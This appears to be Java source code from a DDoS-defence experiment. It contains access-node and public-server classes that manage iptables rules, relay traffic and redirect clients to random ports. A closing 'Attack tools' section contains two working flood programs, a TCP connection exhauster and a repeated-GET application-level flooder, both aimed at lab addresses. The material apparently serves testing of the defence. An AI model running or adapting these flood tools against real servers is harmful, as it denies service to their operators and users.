            if ((portRand >= portMax)) {
                portRand = portMin;
            }
        }
        serverSocket.close();
        try {
            Process child = Runtime.getRuntime().exec("iptables -A ACCESSNODE -p tcp -s 10.0.0.1 --dport " + 
PortN + " -j ACCEPT");
        } catch (IOException e) {
        }
    }
}

//Access-node thread a
import java.net.*;
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import java.io.*;
import java.util.logging.Level;
import java.util.logging.Logger;

public class AccessNodeThreadI extends Thread {
    private Socket XpSocket = null;
    private byte[] buffer = new byte[65535];
    private int portRand,  count = 0,  check = 0,  con = 0,  tc = 1000,  thr = 0,  ServerPort = 80,  conMax;  
    private String ServerName = "192.168.0.3"; // "www.nbe.com.eg";  //"www.aida.t.u-tokyo.ac.jp"; // 
"www.tenki.jp";// 
    //"www.nbe.com.eg"; 
    private OutputStream outXp = null;
    private AccessNodeThreadII[] thread = new AccessNodeThreadII[conMax + 1];
    private InputStream inXp = null;
    private boolean ok = true,  Alert = false;
    private ServerSocket PublicNodeSocket = null;
    private InetAddress XpAddress = null,  bindAddrP = null,  bindAddrS = null;
    private String XpIP;
    public AccessNodeThreadI(Socket XpSocket, int portRand, InetAddress bindAddrP,
            InetAddress bindAddrS, int conMax) {
        super("AccessNodeThreadI");
        this.conMax = conMax;
        this.XpSocket = XpSocket;
        this.portRand = portRand;
        this.bindAddrP = bindAddrP;
        this.bindAddrS = bindAddrS;
    }

    @Override
    public void run() {
        XpAddress = XpSocket.getInetAddress();
        XpIP = XpAddress.getHostAddress();
        if (XpIP.equals("10.0.0.1")) {
            try { 
                outXp = XpSocket.getOutputStream();
                inXp = XpSocket.getInputStream();
            } catch (IOException ex) {
                Logger.getLogger(AccessNodeThreadI.class.getName()).log(Level.SEVERE, null, ex);
            }
            while (ok) { 
                try {
                    Thread.sleep(1);    
                    if ((count = inXp.available()) > 0) {
                        if (count >= buffer.length) {
                            count = buffer.length;
                        }
                        count = inXp.read(buffer, 0, count);
                        String value = new String(buffer);
                        if (value.startsWith("AuthKey") == false) {
                            ok = false; 
                            break; 
                        } 
                        try {
                            Process child = Runtime.getRuntime().exec("iptables -A ACCESSNODE -p tcp -s 10.0.0.20 
--dport " + portRand + " -j ACCEPT");
                        } catch (IOException e) {
                        }
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                        String str = Integer.toString(portRand);
                        byte[] buffer2 = new byte[5];//100
                        buffer2 = str.getBytes();
                        outXp.write(buffer2);
                        outXp.flush(); 
                        break;
                    }
                    check = check + 1;
                    if (check == 500) {  
                        ok = false; 
                        break;
                    }
                } catch (InterruptedException ee) {
                    ok = false;
                    break;
                } catch (IOException ex) {
                    Logger.getLogger(AccessNodeThreadI.class.getName()).log(Level.SEVERE, null, ex);
                }
            }   
            try { 
                inXp.close();
                outXp.close();
                XpSocket.close();
             } catch (IOException ex) {
                Logger.getLogger(AccessNodeThreadI.class.getName()).log(Level.SEVERE, null, ex);
            }
            try { 
                PublicNodeSocket = new ServerSocket(portRand, 1000, bindAddrP); //
                PublicNodeSocket.setSoTimeout(tc); // accept() blocks for 1 seconds
                new AccessNodeThreadII(PublicNodeSocket.accept(), portRand, bindAddrP, bindAddrS,
                        ServerName, ServerPort, (portRand + thr)).start();
                thr = thr + 1;
                con = con + 1;
            } catch (IOException e) {
                System.err.println("Could not listen on portRand (1).");
                //System.exit(1);
                ok = false;
            }
            if (ok) {
                tc = 240000;
                try {
                    PublicNodeSocket.setSoTimeout(tc);
                } catch (SocketException ex) {
                    Logger.getLogger(AccessNodeThreadI.class.getName()).log(Level.SEVERE, null, ex);
                }
                while (con < conMax) {
                    try {
                        new AccessNodeThreadII(PublicNodeSocket.accept(), portRand, bindAddrP, bindAddrS,
                                ServerName, ServerPort, (portRand + thr)).start();
                        thr = thr + 1;
                        con = con + 1;
                    } catch (IOException e) {
                    }
                    con = con + 1;
                } 
            }
            try {
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                PublicNodeSocket.close();
            } catch (IOException e) {
            }
            try {
                Process child = Runtime.getRuntime().exec("iptables -D ACCESSNODE -p tcp -s 10.0.0.20 --dport " 
+ portRand + " -j ACCEPT");
            } catch (IOException e) {
            }
        }
        else {
            try {
                System.out.println("unidentified public server:");
                System.out.println(XpIP);
                XpSocket.close();
            } catch (IOException ex) {
                Logger.getLogger(AccessNodeThreadI.class.getName()).log(Level.SEVERE, null, ex);
            }
        }
    }
}

//Access-node thread b
import java.net.*;
import java.io.*;
import java.util.logging.Level;
import java.util.logging.Logger;

public class AccessNodeThreadII extends Thread {

    private Socket secretSocket = null,  ClientSocket = null;
    private byte[] buffer = new byte[65535];
    private int portRand,  count = 0,  check = 0,  ServerPort,  srcPort;  //80
    private String ServerName;
    private OutputStream outClient = null,  outXp = null,  outXs = null;
    private InputStream inClient = null,  inXp = null,  inXs = null;
    private boolean ok = true,  clientCame = false;
    private ServerSocket PublicNodeSocket = null;
    private InetAddress bindAddrP = null,  bindAddrS = null;

    public AccessNodeThreadII(Socket ClientSocket, int portRand, InetAddress bindAddrP, InetAddress 
bindAddrS,
            String ServerName, int ServerPort, int srcPort) {
        super("AccessNodeThreadII");
        this.ClientSocket = ClientSocket;
        this.portRand = portRand;
        this.bindAddrP = bindAddrP;
        this.bindAddrS = bindAddrS;
        this.ServerName = ServerName;
        this.ServerPort = ServerPort;
        this.srcPort = srcPort;
    }

    @Override
    public void run() {
        try {
            outClient = ClientSocket.getOutputStream();
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            inClient = ClientSocket.getInputStream();
        } catch (IOException ex) {
            Logger.getLogger(AccessNodeThreadII.class.getName()).log(Level.SEVERE, null, ex);
        }
        while (ok) {
            try {
                Thread.sleep(1);
                if ((count = inClient.available()) > 0) {
                    if (count >= buffer.length) {
                        count = buffer.length;
                    }
                    count = inClient.read(buffer, 0, count);
                    try {
                        secretSocket = new Socket(ServerName, ServerPort, bindAddrS, srcPort);
                        secretSocket.setKeepAlive(false);
                    } catch (UnknownHostException e) {
                        System.err.println("unknown host:" + ServerName);
                        System.exit(1);
                    } catch (IOException e) {
                        System.err.println("IOException trying to conect to:" + ServerName);
                        ok = false;
                    }
                    if (ok) {
                        try {
                            outXs = secretSocket.getOutputStream();
                            inXs = secretSocket.getInputStream();
                            outXs.write(buffer, 0, count);
                            outXs.flush();
                        } catch (IOException ex) {
                            Logger.getLogger(AccessNodeThreadII.class.getName()).log(Level.SEVERE, null, ex);
                        }
                    }
                    break;
                }
                check = check + 1;
                if (check == 500) {
                    ok = false;
                    break;
                }
            } catch (InterruptedException ee) {
                ok = false;
                break;
            } catch (IOException ex) {
                Logger.getLogger(AccessNodeThreadII.class.getName()).log(Level.SEVERE, null, ex);
            }
        }
        check = 0;
        count = 0;
        while (ok) {
            try {
                Thread.sleep(1);
                if ((count = inXs.available()) > 0) {
                    if (count >= buffer.length) {
                        count = buffer.length;
                    }
                    inXs.read(buffer, 0, count);
                    outClient.write(buffer, 0, count);
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                    outClient.flush();
                    check = 0;
                } else {
                    check = check + 1;
                }
                if (check > 15000) {
                    try {
                        outXs.close();
                        inXs.close();
                        secretSocket.close();
                    } catch (IOException ex) {
                    }
                    break;
                }
                if ((count = inClient.available()) > 0) {
                    inClient.read(buffer, 0, count);
                    outXs.write(buffer, 0, count);
                    outXs.flush();
                }
            } catch (IOException e) {
                try {
                    outXs.close();
                    inXs.close();
                    secretSocket.close();
                } catch (IOException ex) {
                }
                break;
            } catch (InterruptedException ee) {
                try {
                    outXs.close();
                    inXs.close();
                    secretSocket.close();
                } catch (IOException ex) {
                    Logger.getLogger(AccessNodeThreadII.class.getName()).log(Level.SEVERE, null, ex);
                }
                break;
            }

        }
        System.out.println("AccessNodeThreadII is closed.");
        if (ok) {
            try {
                outClient.close();
                inClient.close();
                ClientSocket.close();
            } catch (IOException ex) {
                Logger.getLogger(AccessNodeThreadII.class.getName()).log(Level.SEVERE, null, ex);
            }
        }
    }
}

Public server:

// Public server main 
import java.net.*;
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import java.io.*;

public class PublicServer {

    private static InetAddress bindAddr = null;

    public static void main(String[] args) throws IOException {
        ServerSocket clientSocket = null;
        boolean listening = true;
        bindAddr = InetAddress.getByName("10.0.0.1");
        try {
            clientSocket = new ServerSocket(80, 1000, bindAddr);
            System.out.println("-started listening to port 80.");
        } catch (IOException e) {
            System.err.println("Could not listen on port: 80.");
            System.exit(1);
        }
        int port = 3804;
        int portP = port;
        while (listening) {
            try {
                new PublicServerThread(clientSocket.accept(), portP, bindAddr).start();
                portP = portP + 1;
                if (portP > 65535) {
                    portP = port;
                }
            } catch (IOException e) {
            }
        }
        clientSocket.close();
    }
}

// Public server thread
import java.net.*;
import java.io.*;
import java.util.logging.Level;
import java.util.logging.Logger;

public class PublicServerThread extends Thread {

    private Socket clientSocket = null;
    private int portP = 0,  portN = 8080;
    private String fromXs,  message,  nodeAddr = "10.0.0.4";
    private int count = 0,  check = 0;
    private InetAddress bindAddr;
    private OutputStream outClient = null,  outN = null;
    private InputStream inClient = null,  inN = null;
    private boolean ok = true;
    private byte[] buffer = new byte[1024];
    private String redirectionAddress;

    public PublicServerThread(Socket clientSocket, int portP, InetAddress bindAddr) {
        super("PublicServerThread");
        this.clientSocket = clientSocket;
        this.portP = portP;
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        this.bindAddr = bindAddr;
    }

    @Override
    public void run() {
        try {
            outClient = clientSocket.getOutputStream();
            inClient = clientSocket.getInputStream();
        } catch (IOException ex) {
            Logger.getLogger(PublicServerThread.class.getName()).log(Level.SEVERE, null, ex);
        }
        while (ok) {
            try {
                Thread.sleep(1);
                if ((count = inClient.available()) > 0) {
                    if (count >= buffer.length) {
                        count = buffer.length;
                    }
                    count = inClient.read(buffer, 0, count);
                    ok = true;
                    check = 0;
                    break;
                }
                check = check + 1;
                if (check == 100) {
                    ok = false;
                    break;
                }
            } catch (IOException ex) {
                Logger.getLogger(PublicServerThread.class.getName()).log(Level.SEVERE, null, ex);
            } catch (InterruptedException ee) {
                ok = false;
                break;
            }
        }
        Socket NodeSocket = null;
        if (ok) {
            message = "AuthKey" + ":" + "clientIP" + ":" + "serverIP";
            buffer = message.getBytes();
            try {
                NodeSocket = new Socket(nodeAddr, portN, bindAddr, portP);
                outN = NodeSocket.getOutputStream();
                inN = NodeSocket.getInputStream();
                outN.write(buffer);
                outN.flush();
                message = new String(buffer);
            } catch (UnknownHostException ee) {
                System.err.println("unknown node:" + nodeAddr);
                System.exit(1);
            } catch (IOException eee) {
                System.err.println("IOException trying to connect to node:" + nodeAddr);
                System.exit(1);
            }
        }
        count = 0;
        check = 0;
        while (ok) {
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            try {
                Thread.sleep(1);
            } catch (InterruptedException ex) {
                Logger.getLogger(PublicServerThread.class.getName()).log(Level.SEVERE, null, ex);
            }
            try {
                if ((inClient.available()) > 0) {
                    break;
                }
                if ((count = inN.available()) > 0) {
                    if (count >= buffer.length) {
                        count = buffer.length;
                    }
                    count = inN.read(buffer, 0, count);
                    message = new String(buffer, 0, count);
                    redirectionAddress = nodeAddr + ":" + message;
                    if ((inClient.available()) > 0) {
                        break;
                    }
                    message = ("HTTP/1.1 302 Found\r\n" + "Location: http://" + redirectionAddress + "/\r\n" + 
"Content-Length: 0\r\n" + "Connection: close\r\n" + "Cache-Control: max-age=0, no-store, private\r\n" + 
"\r\n");
                    if ((inClient.available()) > 0) {
                        break;
                    }
                    buffer = message.getBytes();
                    outClient.write(buffer);
                    ok = true;
                    check = 0;
                    break;
                }
                check = check + 1;
                if (check == 100) {
                    ok = false;
                    break;
                }
            } catch (IOException ee) {
                ok = false;
                break;
            }
        }
        try {
            outClient.close();
            inClient.close();
            clientSocket.close();
            outN.close();
            inN.close();
            NodeSocket.close();
        } catch (IOException ex) {
            Logger.getLogger(PublicServerThread.class.getName()).log(Level.SEVERE, null, ex);
        }
    }
}

Attack tools:
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//TCP connection attack tool main
import java.net.*;
import java.io.*;

public class TCPConAtt {

    public static void main(String[] args) throws IOException {
        int conMax = 100;
        Socket attackSocket[] = new Socket[conMax + 1];
        String VictimName = "10.0.0.4";
        int SrcPort = 5321, VictimPort = 80, i;
        InetAddress bindAddr = InetAddress.getByName("10.0.0.20");
        for (i = 1; i <= conMax; i = i + 1) {
            attackSocket[i] = null;
        }
        System.out.println("Press Any Key to START ATTACK");
        BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
        stdin.read();
        for (i = 1; i <= conMax; i = i + 1) {
            try {
                Thread.sleep(5);
                attackSocket[i] = new Socket(VictimName, VictimPort, bindAddr, SrcPort);
                attackSocket[i].setKeepAlive(true);
            } catch (UnknownHostException e) {
                System.err.println("unknown host:" + VictimName);
                System.exit(1);
            } catch (IOException e) {
                System.err.println("IOException trying to connect to:" + VictimName);
                System.exit(1);
            } catch (InterruptedException e) {
            }
            SrcPort = SrcPort + 1;
            if (SrcPort > 60000) {
                SrcPort = 5321;
            }
        }
        System.out.println((i - 1) + " connections open with Victim");
        System.out.println("Press Any Key to continue (terminate)");
        {
            {
                if ((stdin.read()) != -1) {
                }
            }
        }
        for (i = 1; i <= conMax; i = i + 1) {
            attackSocket[i].close();
        }
    }
}

// Application level attack tool main
import java.util.*;
import java.net.*;
import java.io.*;

public class TCPConAtt {
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    public static void main(String[] args) throws IOException {
        int conMax = 150;
        Socket[] attackSocket = new Socket[conMax + 1];
        final TCPConAttThread[] thread = new TCPConAttThread[conMax + 1];
        String VictimName = "10.0.0.1";
        int SrcPort = 5321, VictimPort = 80, i;
        boolean ok = true;
        InetAddress bindAddr = InetAddress.getByName("10.0.0.20");
        String message = ("GET / HTTP/1.1\r\n" + "Host: 10.0.0.1\r\n" + "User-Agent: Mozilla/5.0 (X11; U; Linux 
x86_64; en-US; rv:1.9.2.6) Gecko/20100630 Ubuntu/8.04 (hardy) Firefox/3.6.6\r\n" +
                "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" +
                "Accept-Language: en-us,en;q=0.5\r\n" + "Accept-Encoding: gzip,deflate\r\n" + "Accept-Charset: 
ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" + "Keep-Alive: 115\r\n" + "Connection: keep-alive\r\n" + "\r\n");
        for (i = 1; i <= conMax; i = i + 1) {
            attackSocket[i] = null;
        }
        System.out.println("Press Any Key to START ATTACK");
        BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
        stdin.read();
        while (ok) {
            SrcPort = 5321;
            for (i = 1; i <= conMax; i = i + 1) {
                SrcPort = SrcPort + 1;
                if (SrcPort > 65535) {
                    SrcPort = 5321;
                }
                try {
                    Thread.sleep(1);
                    attackSocket[i] = new Socket(VictimName, VictimPort, bindAddr, SrcPort);
                    attackSocket[i].setKeepAlive(true);
                } catch (UnknownHostException e) {
                    System.err.println("unknown host:" + VictimName);
                    System.exit(1);
                } catch (IOException e) {
                    System.err.println("IOException trying to connect to:" + VictimName);
                    System.exit(1);
                } catch (InterruptedException e) {
                }
            }
            SrcPort = 5321;
            for (i = 1; i <= conMax; i = i + 1) {
                SrcPort = SrcPort + 1;
                if (SrcPort > 65535) {
                    SrcPort = 5321;
                }
                try {
                    Thread.sleep(1);
                } catch (InterruptedException e) {
                }

                thread[i] = new TCPConAttThread(attackSocket[i], message, SrcPort, i, conMax);
                thread[i].start();
            }
            try {
                thread[Math.round(conMax / 8)].join();
            } catch (InterruptedException e) {
            }
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        }
        for (i = 1; i <= conMax; i = i + 1) {
            thread[i].requestStop();
        }
        System.out.println("\nthanks! (attack is over)");
    }
}

//Application level attack tool thread
import java.net.*;
import java.io.*;

public class TCPConAttThread extends Thread {

    Socket attackSocket = null;
    private byte[] buffer = new byte[512];
    private boolean attacking = true;
    private InputStream inFromN = null;
    private OutputStream outToN = null;
    private volatile boolean stop = false;
    private String message;
    private int n = 0,  SrcPort,  i,  conMax;

    public TCPConAttThread(Socket attackSocket, String message, int SrcPort, int i, int conMax) {
        super("TCPConAttThread");
        this.attackSocket = attackSocket;
        this.message = message;
        this.SrcPort = SrcPort;
        this.i = i;
        this.conMax = conMax;
    }

    @Override
    public void run() {
        buffer = message.getBytes();
        try {
            outToN = attackSocket.getOutputStream();
            inFromN = attackSocket.getInputStream();
            outToN.write(buffer);
            outToN.flush();
        } catch (IOException ev) {
        }
        while (attacking) {
            try {
                if (stop) {
                    break;
                }
                n = n + 1;
                Thread.sleep(100);
                try {
                    outToN.write(buffer);
                    outToN.flush();
                } catch (IOException eh) {
                }
            } catch (InterruptedException eev) {
            }
            if (n > 98) {
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                break;
            }
        }
        try {
            outToN.close();
            inFromN.close();
            attackSocket.close();
        } catch (IOException e) {
        }
    }
    public void requestStop() {
        stop = true;
    }
}
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